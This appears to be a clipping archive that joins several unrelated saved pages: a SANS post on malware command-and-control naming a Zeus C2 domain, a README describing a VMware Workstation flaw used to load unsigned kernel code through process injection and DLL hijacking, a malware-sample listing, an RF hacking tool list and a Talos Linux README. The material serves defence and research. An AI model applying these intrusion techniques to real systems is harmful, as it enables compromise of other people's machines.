Often, anomaly detection is carried out on a periodic basis. For instance, you
may be interested in determining whether there were any anomalies yesterday.
To this end, we support a flag only\_last where one can subset the anomalies
that occurred during the last day or last hour. The following command

?

|  `res = AnomalyDetectionTs(raw_data, max_anoms=0.02, direction=` `'both'` `,
only_last=` `"day"` `, plot=TRUE)` `res$plot`  
---|---  
yields the following plot:

<img src='img/Temp2_4542.png' />

From the above plot, we observe that only the anomalies that occurred during
the last day have been annotated. Additionally, the prior six days are
included to expose the seasonal nature of the time series but are put in the
background as the window of primary interest is the last day.

Anomaly detection for long duration time series can be carried out by setting
the longterm argument to T. An example plot corresponding to this \(for a
different data set\) is shown below:

<img src='img/Temp2_4540.png' />

**Acknowledgements**

Our thanks to James Tsiamis and Scott Wong for their assistance, and Owen
Vallis \(@OwenVallis\) and Jordan Hochenbaum \(@jnatanh\) for this research.

**References**

\[1\] Charu C. Aggarwal. “ _Outlier analysis_ ”. Springer, 2013.

\[2\] Varun Chandola, Arindam Banerjee, and Vipin Kumar. “ _Anomaly detection:
A survey_ ”. ACM Computing Surveys, 41\(3\):15:1\{15:58, July 2009.

\[3\] Rosner, B., \(May 1983\), “ _Percentage Points for a Generalized ESD
Many-Outlier Procedure_ ”, Technometrics, 25\(2\), pp. 165-172.

\[4\] Vallis, O., Hochenbaum, J. and Kejariwal, A., \(2014\) “ _A Novel
Technique for Long-Term Anomaly Detection in the Cloud_ ”, 6th USENIX Workshop
on Hot Topics in Cloud Computing, Philadelphia, PA.

# SANS Digital Forensics and Incident Response Blog | The Importance of Command and Control Analysis for Incident Response | SANS Institute
**Created:**| _4/22/2014 6:36:05 PM_  
---|---  
**Updated:**| _4/22/2014 6:36:05 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# The Importance of Command and Control Analysis for Incident Response

Understanding command and control \(a.k.a. C2, CnC or C&C\), is critical to
effectively detect, analyze, and remediate malware incidents. The phrase
"command and control", which has its origins in military terminology, refers
to the approach an attacker uses to take command of and exercise control over
a compromised system. In the world of malware, C2 is typically used to execute
arbitrary commands on a victim system, report the status of a compromise to an
attacker, or exfiltrate information. C2 channels may be used to commandeer an
individual host or control a botnet of millions of machines.

### Why C2 Matters to Malware Analysts

Consider the scenario where a suspicious file is detected on an enterprise
workstation, perhaps the result of a host-based anomaly detection capability.
As a malware analyst, one of your primary tasks is to determine if and how the
suspect file is controlled by an external actor. During this exploration,
discovery of a functional command and control channel is a milestone. Why?
Because this finding could mean your organization has officially lost control
of its network.

If someone has command and control of machines within your enterprise--whether
it's an "advanced threat", a criminal, or amateur hacker--you have a problem,
and a potentially serious one. Uncovering C2 channel\(s\) while performing
malware analysis may involve intensive, systematic behavioral and code
analysis to emulate the intended victim environment and establish the specific
C2 protocol used. Code obfuscation and encryption routines make this more
challenging, but it's doable with practice and persistence

### Command and Control Protocols

Attackers use a variety of techniques and protocols for command and control.
Internet Relay Chat \(IRC\), which facilitates group messaging via a client-
server model, was a common C2 protocol for many years. However, IRC is rarely
used in business environments, so it is easy for defenders to detect this
potentially malicious traffic. As a result, attackers consider alternative
protocols that allow them to better hide in plain sight. HTTP is an obvious
choice because of its prevalence across the corporate enterprise.

Consider, for example, the Zeus/Zbot trojan. This well-documented banking
trojan aims to steal banking login credentials of victim users. Upon
execution, the sample analyzed for this post immediately initiated an HTTP
request to a domain "warfacebest.ru.swtest.ru" for command and control. Below
is an excerpt of the network traffic generated by this Zeus sample. The red
highlighted text represents traffic from the infected host, while the blue
highlighted text is an excerpt of the response. The response includes an
encrypted configuration file that provides further direction for malicious
activity, and this file can be updated at the attacker's discretion.

<img src='http://blogs.sans.org/computer-
forensics/files/2014/03/zeus_wireshark_capture.png' />

_Zeus C2 Packet Capture Excerpt_

Command and Control channels can vary widely in their complexity. The control
infrastructure can range from simple HTTP requests to a malicious domain to
more complicated approaches involving the use of resilient peer-to-peer
technologies that lack a centralized server and are consequently harder to
dismantle. Even with HTTP C2, attackers may take advantage of popular web
destinations like social networking sites to increase anonymity and reduce the
costs associated with a persistent C2 infrastructure. While not yet common,
there are documented cases of malware using services like Twitter, Facebook,
and Google Docs to facilitate command and control.

### Applying C2 Findings to Incident Response

By using the results of malware analysis to hone detection capabilities, an
organization can begin remediating a malware incident. Any identified C2
channels serve as helpful indicators of compromise \(IOCs\) that can be used
to detect other instances of the same or similar malware. IOCs related to C2
include domain names, IP addresses, protocols, and even patterns of bytes seen
in network communications, which could represent commands or encoded data.

In the Zeus example mentioned above, the host "warfacebest.ru.swtest.ru" could
be configured via IDS to alert on any traffic to that destination. Of course,
the C2 servers could vary by sample and may be updated using the configuration
file, but creating a signature like this could still be powerful in the
context of a specific incident. With a thorough understanding of the C2
infrastructure and protocol, network owners might even consider taking control
of infected machines as part of a takedown \(law enforcement and other high
tech companies have done this on occasion\). Also, diligent documentation of
C2 findings can help generate invaluable threat intelligence to correlate
attacks and better understand threat actors targeting an organization.

If you would like to learn more about dissecting malware to discover C2, I
encourage you to join me as I co-teach the upcoming FOR610 course in San
Diego. I'm also teaching FOR610 in Virginia Beach this August.

**-Anuj Soni**

_Anuj Soni teachesFOR610 Reverse-Engineering Malware for the SANS Institute.
He is also a Senior Incident Responder at Booz Allen Hamilton, where he
focuses on hunting threats and double-clicking malware all day long. You can
find him on twitter at @asoni._

# ivildeed/vmw\_vmx\_overloader

**Created:**| _5/7/2017 10:53:20 AM_  
---|---  
**Updated:**| _5/7/2017 10:53:20 AM_  
**Author:**| __  
**Tags:**| _vulnerability vmware_  
  

  

# vmw\_vmx\_overloader

Loading unsigned code into kernel of latest Windows 10 \(64\) with help of
VMware Workstation Pro/Player design flaw.

It is well known, however in case you are not familiar - few words about
workstation “hypervisor”:

It is located inside vmware-vmx.exe resources as elf executables. Those elf’s
from usermode resources are manually loaded into kernelmode using helper
driver vmx86.sys. Vmware-vmx.exe and vmx86.sys communication is performed
using deviceiocontrols. One of those controls is VMX86\_RUN\_VM, it is
executed from “vmware-vmx:VMLoader”, vmx86.sys handler for this iocontrol
invokes in kernelmode not verified functions delivered from usermode.

So by simply overwriting one function \(Host64ToVmm\) it is possible to
execute our code in kernelmode.

\(after quick check it seems that hypervisor for workstation family is loaded
in the same way on macOS and linux\)

\(.text:0000000140007523 FF D2 call rdx\) When this call is made environment
is already partially set for hypervisor creating some limitations, to bypass
it in PoC there is upper function return address redirected - making payload
execution much more comfortable.

For admin user injecting code to vmware-vmx.exe is as simple as: OpenProcess,
VirtualAllocEx, WriteProcessMemory, CreateRemoteThread \(w/o elevation\)

bonus: For limited \(standard\) user it isn't so easy because when vmware-
authd service creates vmware-vmx process it sets higher integrity level.
vmware-vmx process uses SetDefaultDllDirectories, SetSearchPathMode and
SetDllDirectoryW mitigating simple dll hijacking. However vmware-authd doesn't
sanitize local environment variables when creating child vmware-vmx process,
it is possible to set local variable SystemRoot pointing to controlled
directory. As it turns out some of dlls dependencies will be loaded from that
controlled directory \(mswsock.dll is used in PoC\)

VMware was contacted regarding this, as a result issues was addressed in
security advisory: VMSA-2017-0003 \(CVE-2017-4898\)

x64 PoC testing environment:

  * i7 2xxx, Windows 10 x64 \(1607\) HOME, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1
  * i5 6xxxU, Windows 10 x64 \(insider 15002, 15025\) PRO, VMware Workstation Full 12.5.2, VMware Workstation Player 12.5.1

binary: Please keep in mind it is messy barely tested PoC so on other
configuration it can potentially cause bsod, system instability or even
bricking limited user account. So I don't take responsibility for any damage.
You should only use it if you really know what you are doing.

\*it is fast and messy PoC, therefore I've used hooks inside vmware-vmx, with
proper execution chain and thread context - instead of building malicious
request myself

\*\*Quite Frankly I do understand VMware Workstation design - simply it was
designed years before Microsoft thought of signing drivers. Interesting now is
that MS signed that driver as since Windows 10 \(1607\) \(fresh installations
with secureboot\) drivers needs to be also signed by Microsoft \(Dev Portal\).
Microsoft made that change to make OS supposedly more secure, when vmx86.sys
loads to kernelmode code that isn't anyway validated IMO this whole security
model goes out of the window\(s\) ;\)

  

# Skitch drawing

**Created:**| _2/29/2012 11:27:08 AM_  
---|---  
**Updated:**| _2/29/2012 11:27:08 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Skitched-image0.png' />

# contagio: CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com

**Created:**| _9/16/2010 11:10:05 AM_  
---|---  
**Updated:**| _9/16/2010 11:10:05 AM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis List_  
  

# contagio

malware dump

Home  
  
Malware list \- still not updated, download from the posts, please  
Malicious documents archive for signature testing and research  
I want it ALL  
  
Most recent posts:  
Sep 09, 2010 Sep 09 CVE-2009-4324 + CVE-2010-1297 + CVE-2009-0927 PDF U.S.
economy slips from spoofed henryAron@brookings.org 210.64.253.96  
Sep 07, 2010 CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson
from 193.106.85.61 thomasbennett34@yahoo.com  
Sep 04, 2010 Defcon 18 Audio in MP3 files  
Sep 03, 2010 Aug 25 CVE-2009-4324 PDF
CMSI\_Sixth\_Annual\_Conference\_25\_Aug\_2010 fom kjamesryu754@gmail.com  
Aug 31, 2010 Aug 13 CVE-2009-4324 PDF Letter \(Update. Thanks to Tom\)  
Aug 30, 2010 APT IPs and Domains  

## Tuesday, September 7, 2010

###  CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com

**CVE-2010-2883 Security Advisory for Adobe Reader and Acrobat**  
A critical vulnerability exists in Adobe Reader 9.3.4 and earlier versions for
Windows, Macintosh and UNIX, and Adobe Acrobat 9.3.4 and earlier versions for
Windows and Macintosh. This vulnerability \(CVE-2010-2883\) could cause a
crash and potentially allow an attacker to take control of the affected
system. There are reports that this vulnerability is being actively exploited
in the wild.

Adobe is in the process of evaluating the schedule for an update to resolve
this vulnerability.

  

Technical Analysis and Research links \(just a few, in no particular order,
send more if you want me to add\)

  * Brief Analysis On Adobe Reader SING Table Parsing Vulnerability \(CVE-2010-2883\) Matt Oh
  * Return of the Unpublished Adobe Vulnerability http://blog.metasploit.com/ Joshua J. Drake
  * New Adobe 0day Demonstration - Attack Vector Matt 
  * Adobe advises on new Reader and Acrobat vulnerability Chester Wisniewski’s Blog
  * VUPEN Vulnerability Research Team \(VRT\) Blog- Criminals Are Getting Smarter: Analysis of the Adobe Acrobat / Reader 0-Day Exploit << very detailed analysis

# Pentesting With Burp Suite

**Created:**| _10/30/2010 5:14:08 PM_  
---|---  
**Updated:**| _10/30/2010 5:14:48 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools web conference-material_  
  
<img src='img/Temp2_6200' />

# PDF - code.visualstudio.com - Keyboard Shortcuts

**Created:**| _5/31/2017 6:05:50 PM_  
---|---  
**Updated:**| _5/31/2017 6:17:27 PM_  
**Author:**| __  
**Tags:**| _programming_  
  

  
<img src='img/keyboard-shortcuts-windows.pdf' />  

# cn0xroot/RFSec-ToolKit

**Created:**| _3/7/2018 8:33:44 AM_  
---|---  
**Updated:**| _3/7/2018 8:33:44 AM_  
**Author:**| _wishi_  
**Tags:**| _attacks sdr_  
  

  

# RFSec-ToolKit V 2.0

## Project Description

RFSec-ToolKit is a collection of Radio Frequency Communication Protocol
Hacktools which are from the github platform,and Hacking Tutorial from
youtube、blog post, including SDR、2G GSM、3G 、4G LTE 、5G、NFC&RFID、ZigBee and so
on.

## What can we do with Software Defined Radio?

Some Cool things to do with SDR

<img
src='img/687474703a2f2f7777772e3078726f6f742e636e2f5344525f454e2e706e67.png'
width='576' height='253' alt='SDR_EN' />

<img
src='img/687474703a2f2f7777772e3078726f6f742e636e2f5344525f5a48434e2e706e67.png'
width='576' height='313' alt='SDR_ZHCN' />

##### Resources Collection by \[雪碧 0xroot.com\] \(https://cn0xroot.com\)
Twitter@cn0xroot

# SDR Resources

### SDR-HardWare

RTL2832U:RTL-SDR is a very cheap software defined radio that uses a DVB-T TV
tuner dongle based on the RTL2832U chipset.

HackRF:low cost software radio platform greatscottgadgets.com

BladeRF:bladeRF is a Software Defined Radio \(SDR\) platform designed to
enable a community of hobbyists, and professionals to explore and experiment
with the multidisciplinary facets of RF communication. Nuand.com

USRP: The USRP software defined radio products are designed for RF
applications from DC to 6 GHz, including multiple antenna \(MIMO\) systems.
ettus.com

LimeSDR:LimeSDR is a low cost, open source, apps-enabled software defined
radio \(SDR\) platform that can be used to support just about any type of
wireless communication standard.Lime Microsystems

### SDR-SoftWare

GQRX:Software defined radio receiver powered by GNU Radio and Qt

SDRSharp:Airspy is a popular, affordable SDR \(software defined radio\) based
communication receiver with the highest performance and the smallest form
factor. It is a serious alternative to both cost sensitive and higher end
scanners while featuring the best radio browsing experience of the market
thanks to the tight integration with the de facto standard SDR\#
software.@airspy\_com

SDR\_Console:SDR-Radio.com is a Windows console for Software Defined Radio
\(SDR\) receivers and transceivers. Designed for the commercial, government,
amateur radio and short-wave listener communities, the software provides a
powerful interface for all SDR users. Suport Hardware List

HDSDR:HDSDR is a freeware Software Defined Radio \(SDR\) program for Microsoft
Windows 2000/XP/Vista/7/8/8.1/10.

CubicSDR:Cross-Platform Software-Defined Radio Application

sdrangel:SDR Rx/Tx software for Airspy, BladeRF, HackRF, LimeSDR, RTL-SDR,
SDRplay RSP1 and FunCube

shinysdr:Software-defined radio receiver application built on GNU Radio with a
web-based UI and plugins. In development, usable but incomplete. Compatible
with RTL-SDR.

openwebrx:Open source, multi-user SDR receiver software with a web interface.

luaradio:A lightweight, embeddable software-defined radio framework built on
LuaJIT.

qspectrumanalyzer:Spectrum analyzer for multiple SDR platforms \(PyQtGraph
based GUI for soapy\_power, hackrf\_sweep, rtl\_power, rx\_power and other
backends\)

PandwaRF:PandwaRF: RF analysis tool with a sub-1 GHz wireless transceiver
controlled by a smartphone.

rpitx:RF transmitter for Raspberry Pi. rpitx is a radio transmitter for
Raspberry Pi \(B, B+, PI2, PI3 and PI zero\) that transmits RF directly to
GPIO. It can handle frequencies from 5 KHz up to 500 MHz.

pifm:Turning the Raspberry Pi Into an FM Transmitter.

rpidatv:Digital Television Transmitter on Raspberry Pi.rpidatv is a digital
television transmitter for Raspberry Pi \(B,B+,PI2,PI3,Pizero\) which output
directly to GPIO.

PSDR:PortableSDR - A Stand Alone HF Software Defined Transciever.

gr-cc11xx:GNU Radio OOT module for communicating with TI CC11xx based devices.

spektrum:Spektrum is spectrum analyzer software for use with rtl-sdr.

OpenUSRP:using LimeSDR to simulate USRP B210,OpenUSRP can using LimeSDR to
simulate USRP B210 Device

kalibrate-rtl:GSM frequency scanner and frequency offset calculator use with
rtl-sdr devices

kalibrate-hackrf:kalibrate for hackrf

kalibrate-bladeRF:kalibrate for bladeRF

GNURadio:GNU Radio is a Free & Open-Source Toolkit for Software Radio
GNURadio.org

Universal Radio Hacker: The Universal Radio Hacker is a software for
investigating unknown wireless protocols

gr-recipes:Main GNU Radio recipe repository for use with PyBOMBS

gr-etcetera:This repository stores additional recipes for GNU Radio.

RangeNetworks/dev:A collection of tools to make working with the numerous
software components as painless as possible.

OpenBTS:GSM+GPRS Radio Access Network Node

YateBTS:YateBTS is a software implementation of a GSM/GPRS radio access
network based on Yate and is compatible with both GSM/GPRS SS7 MAP and LTE IMS
core networks integrated in our YateUCN unified core network server.

OpenLTE: OpenLTE is an open source implementation of the 3GPP LTE
specifications. The focus is on transmission and reception of the downlink.

OpenBTS-UMTS:3G UMTS Data Radio Access Network Node

Cellular Infrastructure:This is a group of Osmocom programs implementing
cellular network infrastructure components for GSM, GPRS, EDGE, UMTS, HSPA,
LTE and their associated interfaces and protocol stacks. 360 Unicorn Team's
Demo

OpenBSC:This is a project aiming to create a Free Software, \(A\)GPL-licensed
software implementations for the GSM/3GPP protocol stacks and elements.

OsmoBTS:OsmoBTS is an Open Source GSM BTS \(Base Transceiver Station\) with
A-bis/IP interface.

srsLTE:srsLTE is a free and open-source LTE library for SDR UE and eNodeB
developed by SRS

srsUE:srsUE is a software radio LTE UE developed by SRS . It is written in C++
and builds upon the srsLTE library

srsGUI:srsGUI is a free and open-source graphics library for SDR using Qt and
Qwt. The library provides a number of useful plots for graphing real and
complex numbers.

IMDEA-OWL:OWL stands for Online Watcher of LTE. imdeaOWL is a free and open-
source LTE control channel decoder developed by IMDEA Networks Institute and
based on srsLTE, an LTE library for SDR UE and eNodeB developed by SRS

OpenAirInterface:The OpenAirInterface Software Alliance is a non-profit
consortium to develop ecosystem for open source software/hardware development
for the core network and both access network and user equipment \(EUTRAN\) of
3GPP cellular networks.

OpenAirInterface5G:Openairinterface 5G Wireless Implementation.

LTE Base Station Software:LTEENB allows to build a real 4G LTE base station
\(called an eNodeB\) using a standard PC and a low cost software radio
frontend. All the physical layer and protocol layer processing is done in real
time inside the PC, so no dedicated LTE hardware is necessary.
https://www.amarisoft.com/products-lte-ue-ots-sdr-pcie/\#software

OsmocomBB: OsmocomBB is an Free Software / Open Source GSM Baseband software
implementation. It intends to completely replace the need for a proprietary
GSM baseband software.

gr-gsm:Gnuradio blocks and tools for receiving GSM transmissions

gr-lte:The gr-lte project is an Open Source Software Package which aims to
provide a GNU Radio LTE Receiver to receive, synchronize and decode LTE
signals.

LTE-Cell-Scanner:OpenCL, SDR, TDD/FDD LTE cell scanner, full stack from A/D
samples to SIB ASN1 messages decoded in PDSCH, \(optimized for RTL-SDR HACKRF
and BladeRF board\)

gps-sdr-sim:GPS-SDR-SIM generates GPS baseband signal data streams, which can
be converted to RF using software-defined radio \(SDR\) platforms, such as
bladeRF, HackRF, and USRP.

gr-fosphor:GNURadio block for spectrum visualization using GPU

gr-nordic:GNU Radio module and Wireshark dissector for the Nordic
Semiconductor nRF24L Enhanced Shockburst protocol.

gr-lora:GNU Radio OOT module implementing the LoRa PHY

gr-ieee802-11:IEEE 802.11 a/g/p transceiver for GNU Radio that is fitted for
operation with Ettus N210s and B210s.

gr-keyfob:Transceiver for Hella wireless car key fobs.

gr-rds:FM RDS/TMC Transceiver

gr-radar:GNU Radio Radar Toolbox

gr-air-modes:gr-air-modes implements a software-defined radio receiver for
Mode S transponder signals, including ADS-B reports from equipped aircraft.

gr-ais:Automatic Information System decoder for shipborne position reporting
for the Gnuradio project

gr-dvbt:DVB-T implementation in gnuradio

spectrum\_painter:A tool to converts images to IQ streams that look like this
when viewed in a waterfall plot.

gr-paint:An OFDM Spectrum Painter for GNU Radio  Tutorial

gr-baz:Collection of new blocks for GNU Radio

### Environment Build Tools

HomeBrew:The missing package manager for macOS

MacPort:The MacPorts Project is an open-source community initiative to design
an easy-to-use system for compiling, installing, and upgrading either command-
line

Pybom:PyBOMBS \(Python Build Overlay Managed Bundle System\) is the new GNU
Radio install management system for resolving dependencies and pulling in out-
of-tree projects.

## RFSignal Reverse Tools

Audacity:Audacity® is free, open source, cross-platform audio software for
multi-track recording and editing.

Baudline:Baudline is a time-frequency browser designed for scientific
visualization of the spectral domain. Signal analysis is performed by Fourier,
correlation, and raster transforms that create colorful spectrograms with
vibrant detail.

Inspectrum:inspectrum is a tool for analysing captured signals, primarily from
software-defined radio receivers.

Dspectrum:Automated RF/SDR Signal Analysis \[Reverse Engineering\]

rtl\_433:Application using librtlsdr to decode the temperature from a wireless
temperature sensor

ooktools:On-off keying tools for your SD-arrrR leonjza.github.io

### YouTuBe Video Tutorial

Roberto Nóbrega: Michael Ossmann Software Defined Radio with HackRF
\)https://www.youtube.com/user/liquen17/playlists

Hardware Hacking By Samy Kamkar https://www.youtube.com/user/s4myk

Radio Hacking: Cars, Hardware, and more\! - Samy Kamkar - AppSec California
2016 https://www.youtube.com/watch?v=1RipwqJG50c

GNURadio: GRCon \[https://www.youtube.com/channel/UCceoapZVEDCQ4s8y16M7Fng\]
\(https://www.youtube.com/channel/UCceoapZVEDCQ4s8y16M7Fng\)

Balint256:GNU Radio Tutorial
Series、Cyberspectrumhttps://www.youtube.com/user/balint256

Crazy Danish Hacker:
https://www.youtube.com/channel/UClg0eyJTbAZaYuz3mhwfBBQ/playlists

Ettusresearch https://www.youtube.com/user/ettusresearch/feed

Anders Brownworth Well Tempered HackerOpenBTS
https://www.youtube.com/playlist?list=PL892EE6BB9D10192F

Gareth's SDR Tutorial https://www.youtube.com/channel/UCYJO5ecRhbWARNcsDIFffPg

Software Defined Radio Academy
https://www.youtube.com/channel/UC1GAlgAQrkjeeLmIkCB8pgQ

雪碧 0xroot's SDR Hacking
https://www.youtube.com/channel/UC1GAlgAQrkjeeLmIkCB8pgQ

26C3: Using OpenBSC for fuzzing of GSM handsets
https://www.youtube.com/watch?v=oGPOscdLPFQ

27c3: SMS-o-Death https://www.youtube.com/watch?v=J-lUL3E-uPc

27c3: Wideband GSM Sniffing https://www.youtube.com/watch?v=fH\_fXSr-
FhU&feature=youtu.be 28c3: Introducing Osmo-GMR
https://www.youtube.com/watch?v=BSW-V94uZZQ&feature=youtu.be

29C3: Further hacks on the Calypso platform
https://www.youtube.com/watch?v=xFjVcxMpA6c&feature=youtu.be

\[FOSDEM 2014\] osmocom: Overview of our SDR projects
https://www.youtube.com/watch?v=hsKvdga2eQg&feature=youtu.be

Sylvain Munaut: osmo-gmr: What's up with sat-phones
?https://www.youtube.com/watch?v=ROppOLeB6\_I&feature=youtu.be

DeepSec 2010 OsmocomBB A tool for GSM protocol level security analysis of GSM
networkshttps://www.youtube.com/watch?v=9cBJV3yTaQo&feature=youtu.be

DeepSec 2010: Targeted DOS Attack and various fun with GSM Um by Sylvain
Munaut https://www.youtube.com/watch?v=7tc4hD7ckZY&feature=youtu.be

UnicornTeam of Ir0nSmith
http://v.qq.com/vplus/9427cc31bad2413591069f1800862a96

### Twitter&WEB Site

@rtlsdrblog RTL-SDR.com

Wireless frequency bands: Frequency / Arfcn caculator for LTE, UMTS, GSM and
CDMA, and Carrier Aggregation combination info

@scateu HackRF.NET

@AndrewMohawk andrewmohawk.com

@bastibl bastibl.net

@csete OZ9AEC Website

@samykamkar Samy Kamkar

@cn0Xroot cn0xroot.com spriteking.com

@fairwaves  fairwaves

@gareth\_\_ Gareth codes

@mpeg4codec ICE9 Blog

@marcnewlin Marc Newlin

@drmpegW6RZ

@CrazyDaneHacker Crazy Danish Hacker

jxjputaoshuJiao Xianjun \(BH1RXH\)'s tech blog

@bastillenet Bastille

@embeddedsec

@RadioHacking

@elasticninja

@devnulling

@uber\_security

@TresActon

@Kevin2600

@BE\_Satcom

@lucasteske

@giorgiofox

@xdzou

@090h

@rfspace

@mobios

@lambdaprog

Ruten.proteus

# NFC&RFID Resources

### HardWare

ProxMark3:The proxmark3 is a powerful general purpose RFID tool, the size of a
deck of cards, designed to snoop, listen and emulate everything from Low
Frequency \(125kHz\) to High Frequency \(13.56MHz\) tags.

ACR122U:

### SoftWare

miguelbalboa/rfid:Arduino library for MFRC522 and other RFID RC522 based
modules.

RFIDIOt:python RFID / NFC library & tools

RFIDler:RFIDler - Software defined RFID \(LF\) Reader/Writer/Emulator

### Tutorial

cn0xroot.com

FreeBuf.com

# BLE Resources

### HardWare

Ubertooth:Ubertooth ships with a capable BLE \(Bluetooth Smart\) sniffer and
can sniff some data from Basic Rate \(BR\) Bluetooth Classic connections.

TI CC2540:The CC2540 is a cost-effective, low-power, true system-on-chip
\(SoC\) for Bluetooth low energy applications.

### SoftWare

TI PACKET-SNIFFER:The SmartRF Packet Sniffer is a PC software application that
can display and store radio packets captured by a listening RF device. The
capture device is connected to the PC via USB. Various RF protocols are
supported. http://www.ti.com/tool/packet-sniffer

libbtbb:A Bluetooth baseband decoding library

crackle:crackle exploits a flaw in the BLE pairing process that allows an
attacker to guess or very quickly brute force the TK \(Temporary Key\). With
the TK and other data collected from the pairing process, the STK \(Short Term
Key\) and later the LTK \(Long Term Key\) can be collected.

spectool:Spectools is a set of utilities for using various spectrum analyzer
hardware. It supports the suite of Wi-Spy devices \(original, 24x, 24x2, DBX,
DBX2, 900, 24i\) by Metageek LLC and the Ubertooth. Spectools includes
userspace drivers for the hardware itself, a graphing UI built GTK and Cairo,
network protocols for remote device capture, and simple utilities for
developing additional tools.

spectool-web:A web viewer for WiSPY and Ubertooth spectrum data

gatttool :Get Started with Bluetooth Low Energy on Linux

hcitool:hcitool is used to configure Bluetooth connections and send some spe-
cial command to Bluetooth devices.

BLE-Security:Bluetooth door hacking scripts that require Ubertooth or other
devices to passively sniff.

BLESuite: BLESuite is a Python package that provides an easier way to test
Bluetooth Low Energy \(BLE\) device \(By NCC Group\)

BLESuite-CLI:BLESuite\_CLI is a command line tool to enable an easier way to
test Bluetooth Low Energy \(BLE\) devices

BLE-Replay:BLE-Replay is a Bluetooth Low Energy \(BLE\) peripheral assessment
tool

Blue-Hydra Bluetooth device discovery service built on top of the bluez
library. BlueHydra makes use of ubertooth where available and attempts to
track both classic and low energy \(LE\) bluetooth devices over time.

BTLEJuice:BtleJuice is a complete framework to perform Man-in-the-Middle
attacks on Bluetooth Smart devices \(also known as Bluetooth Low Energy\).

wireshark:Wireshark is the world’s foremost and widely-used network protocol
analyzer.

### Tutorial

BLE Hacking：ble scan and sniffer withu bertooth-one

Ubertooth – Bluetooth Sniffing Updated for 2014\!

Spectrum Tools and Ubertooth One

BLE Fun With Ubertooth: Sniffing Bluetooth Smart and Cracking Its Crypto

Ubertooth Spectrum Analysis \(Kali/Chromebook\)

Sniffing/logging your own Android Bluetooth traffic

Installing the Ubertooth One on BT5

# ZigBee Resources

### SoftWare

gr-ieee802-15-4:IEEE 802.15.4 ZigBee Transceiver

SecBee:SecBee is a ZigBee security testing tool developed by Cognosec. The
goal is to enable developers and security testers to test ZigBee
implementations for security issues.

\#Thanks Axilirator

@vileer\_com

  

# autonomy/talos

**Created:**| _3/2/2019 6:08:12 PM_  
---|---  
**Updated:**| _3/2/2019 6:08:12 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Talos

A modern Linux distribution for Kubernetes.

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f7472617669732f6175746f6e6f6d792f74616c6f732e7376673f6c6f676f3d747261766973267374796c653d666c61742d737175617265'
width='105' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f72656c656173652f6175746f6e6f6d792f74616c6f732e7376673f6c6f676f3d676974687562266c6f676f436f6c6f723d7768697465267374796c653d666c61742d737175617265'
width='239' height='20' alt='Release' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f72656c656173652d7072652f6175746f6e6f6d792f74616c6f732e7376673f6c6162656c3d7072652d72656c65617365266c6f676f3d476974487562266c6f676f436f6c6f723d7768697465267374796c653d666c61742d737175617265'
width='189' height='20' alt='Pre-release' />

* * *
**Talos** is a modern Linux distribution for Kubernetes that provides a number
of capabilities. A few are:

  * **Security** : reduce your attack surface by practicing the Principle of Least Privilege \(PoLP\) and enforcing mutual TLS \(mTLS\).
  * **Predictability** : remove needless variables and reduce unknown factors from your environment using immutable infrastructure.
  * **Evolvability** : simplify and increase your ability to easily accommodate future changes to your architecture.

For details on the design and usage of Talos, see the documentation.

[code]

    $ kubectl get nodes -o wide
    NAME              STATUS   ROLES    AGE   VERSION   INTERNAL-IP       EXTERNAL-IP   OS-IMAGE                              KERNEL-VERSION   CONTAINER-RUNTIME
    192.168.124.200   Ready    master   50s   v1.13.2   192.168.124.200   <none>        Talos (v0.1.0-alpha.16) by Autonomy   4.19.10-talos    containerd://1.2.2
    192.168.124.201   Ready    worker   26s   v1.13.2   192.168.124.201   <none>        Talos (v0.1.0-alpha.16) by Autonomy   4.19.10-talos    containerd://1.2.2
[/code]

## Features

### Technologies

  * **musl-libc:** uses musl as the C standard library
  * **golang:** implements a pure golang `init`
  * **gRPC:** exposes a secure gRPC API
  * **containerd:** runs containerd for `system` services in tandem with the builtin `CRI` runtime for Kubernetes pods
  * **kubeadm:** uses `kubeadm` to create conformant Kubernetes clusters

### Secure

Talos takes a defense in depth approach to security. Below, we touch on a few
of the measures taken to increase the security posture of Talos.

#### Minimal

Talos is a minimalistic distribution that consists of only a handful of
binaries and shared libraries. Just enough to run `containerd` and a small set
of `system` services. This aligns with NIST's recommendation in the
Application Container Security Guide:

> Whenever possible, organizations should use these minimalistic OSs to reduce
> their attack surfaces and mitigate the typical risks and hardening
> activities associated with general-purpose OSs.
Talos differentiates itself and improves on this since it is built for one
purpose — to run Kubernetes.

#### Hardened

There are a number of ways that Talos provides added hardening:

  * employs the recommended configuration and runtime settings outlined in the Kernel Self Protection Project
  * enables mutual TLS for the API
  * enforces the settings and configurations described in the CIS guidelines

#### Immutable

Talos improves its security posture further by mounting the root filesystem as
read-only and removing any host-level access by traditional means such as a
shell and SSH.

### Current

Stay current with our commitment to an `n-1` adoption rate of upstream
Kubernetes. Additionally, the latest LTS Linux kernel will always be used.

## Usage

Each Talos node exposes an API designed with cluster administrators in mind.
It provides just enough to debug and remediate issues. Using the provided CLI
\(`osctl`\), you can:

  * restart a node \(`osctl reboot`\)
  * get CPU and memory usage of a container \(`osctl stats`\)
  * view kernel buffer logs \(`osctl dmesg`\)
  * restart a container \(`osctl restart`\)
  * tail container logs \(`osctl logs`\)

and more.

### Examples

Query `system` services:

[code]

    $ osctl ps
    NAMESPACE   ID       IMAGE          PID    STATUS
    system      blockd   talos/blockd   1461   RUNNING
    system      osd      talos/osd      1449   RUNNING
    system      proxyd   talos/proxyd   2754   RUNNING
    system      trustd   talos/trustd   1451   RUNNING
[/code]

or query the containers in the `k8s.io` `namespace`:

[code]

    $ osctl ps -k
    NAMESPACE   ID                                                                 IMAGE                                                                     PID    STATUS
